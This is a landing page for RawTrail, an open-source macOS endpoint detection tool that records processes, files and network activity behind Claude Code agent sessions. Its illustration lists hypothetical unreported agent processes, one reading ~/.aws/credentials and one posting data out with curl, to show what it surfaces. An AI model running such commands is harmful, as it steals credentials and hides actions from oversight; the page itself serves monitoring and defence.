See what your AI agent actually did.

Agent transcripts show what the agent reported. RawTrail independently records the processes, file changes and network activity on the Mac, tied to the agent session behind them.

View on GitHub Read the docs

Claude Code session Example
The agent reported 3tool calls
  • Bashgh issue view 162 | head -100
  • Grep"TODO"
  • Bashsed -n 1010,1040p main.go
The Mac recorded 109process executions
  • zsh -c source ~/.claude/shell-snapshots/…
  • gh issue view 162
  • security find-generic-password -s gh:github.com
  • head -100
  • ugrep -G --hidden -I …
  • sed -n 1010,1040p main.go
  • cat ~/.aws/credentialsNo tool call
  • curl -s -d @- https://…No tool call
  • and 101 more
An illustration, not a screenshot. In one real Claude Code session the agent reported 3 tool calls and the Mac recorded 109 process executions, and fewer than a quarter of them descend from the reported calls. The two highlighted processes are hypothetical, shown to illustrate what independent recording can surface.

Why RawTrail

An independent record

Recorded by macOS, not reported by the agent, so you can check one against the other.

Search by session

Find any agent session across your Macs, then open the processes, file changes and connections behind it.

Yours to run

Self-hosted and MIT licensed. Your data stays on your server.

How it works

  1. Record

    Extensions on each Mac watch processes, files and network connections, and link them to the agent session.

  2. Collect

    A small agent sends the events to your RawTrail server, and queues them if it is unreachable.

  3. Review

    Open the web UI to see each session as a process tree, with alerts when something looks wrong.

Also a macOS EDR

RawTrail is an endpoint detection and response system for macOS, so everything it records works for ordinary security investigation too.

  • Behavioral detections

    Rules for credential access, persistence and command and control.

  • MITRE ATT&CK

    Detections are mapped to ATT&CK techniques.

  • Application control

    Block software by hash, path, signing ID or team ID.

Open source, on GitHub

Read the README Releases

Pre-1.0 and under active development. Session tracking covers Claude Code today.